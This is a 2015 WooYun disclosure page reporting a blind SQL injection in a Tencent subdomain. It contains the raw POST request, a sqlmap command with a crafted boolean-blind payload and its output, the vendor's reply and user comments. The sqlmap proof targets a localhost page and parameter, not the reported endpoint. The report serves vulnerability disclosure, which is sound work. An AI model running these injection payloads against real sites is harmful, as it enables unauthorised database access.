当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123831

漏洞标题:腾讯某分站SQL注射

相关厂商:腾讯

漏洞作者: Jannock

提交时间:2015-07-01 07:33

修复时间:2015-08-15 14:54

公开时间:2015-08-15 14:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认,细节仅向厂商公开
2015-07-11: 细节向核心白帽子及相关领域专家公开
2015-07-21: 细节向普通白帽子公开
2015-07-31: 细节向实习白帽子公开
2015-08-15: 细节向公众公开

简要描述:

腾讯某分站SQL注射 ,盲注。

详细说明:

POST /user/delcontent? HTTP/1.1
Host: gad.qq.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: cookie
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
id=8&relateUser=243&showType=1
relateUser 参数存在SQL注入。

漏洞证明:

1.png


2.png


python sqlmap.py -u "http://localhost/1.php?s=24397" -p s --prefix "24397 and 1=(case when(1=1" --suffix ") then 1 e
lse (select 1 union select 2) end)" --technique=B --dbms=mysql
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150403}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:52:31
[23:52:31] [INFO] testing connection to the target URL
[23:52:31] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[23:52:32] [INFO] target URL is stable
[23:53:02] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
[23:53:33] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
[23:53:47] [WARNING] heuristic (basic) test shows that GET parameter 's' might n
ot be injectable
[23:53:52] [INFO] testing for SQL injection on GET parameter 's'
do you want to include all tests for 'MySQL' extending provided level (1) and ri
sk (1)? [Y/n] n
[23:53:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:54:15] [INFO] GET parameter 's' seems to be 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[23:54:15] [INFO] checking if the injection point on GET parameter 's' is a fals
e positive
[23:54:35] [WARNING] it appears that the character '>' is filtered by the back-e
nd server. You are strongly advised to rerun with the '--tamper=between'
GET parameter 's' is vulnerable. Do you want to keep testing the others (if any)
? [y/N] n
sqlmap identified the following injection points with a total of 10 HTTP(s) requ
ests:
---
Parameter: s (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: s=24397 and 1=(case when(1=1 AND 8352=8352) then 1 else (select 1 u
nion select 2) end)
---
[23:54:38] [INFO] testing MySQL
[23:54:44] [INFO] confirming MySQL
[23:55:14] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
[23:56:02] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
[23:56:05] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.0.63, PHP 5.2.14
back-end DBMS: MySQL >= 5.0.2

修复方案:

过滤

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-01 14:53

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-01 14:56 | hh2014 ( 普通白帽子 | Rank:225 漏洞数:39 | 继续)

    额,一哥又来刷了 http://www.wooyun.org/bugs/wooyun-2015-0123526/trace/304eb21b5a77f36aee296c86ea2dc197 求审核 @疯狗

  2. 2015-07-01 17:17 | 盛大网络(乌云厂商)

    怎么感觉腾讯的sql注入比我们的还多

  3. 2015-07-01 17:42 | term ( 实习白帽子 | Rank:72 漏洞数:21 )

    @盛大网络 明明就是你的最多

  4. 2015-07-01 20:05 | 90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)

    @盛大网络 此时一哥正看着你这句话,缓缓一笑

  5. 2015-07-01 22:05 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    @盛大网络 明天一哥就上了你

  6. 2015-07-01 22:30 | 小人物Reno ( 普通白帽子 | Rank:471 漏洞数:110 | X)

    @盛大网络 坐等被爆菊

  7. 2015-07-02 17:23 | 老曹哥哥 ( 路人 | Rank:5 漏洞数:1 | 气功打鬼子)

    @盛大网络 厂商也欢乐

  8. 2015-07-02 23:57 | itleaf ( 普通白帽子 | Rank:140 漏洞数:17 )

    @盛大网络 可能是没挑战,或者基本不用盛大产品

  9. 2015-07-10 20:25 | 魂淡、 ( 路人 | Rank:17 漏洞数:2 | 么么哒)

    @盛大网络 然而事实是盛大不在一哥的监控列表内

  10. 2015-08-22 11:11 | dami ( 路人 | Rank:6 漏洞数:3 | 鸟鸟起飞)

    厂商在求爆吗?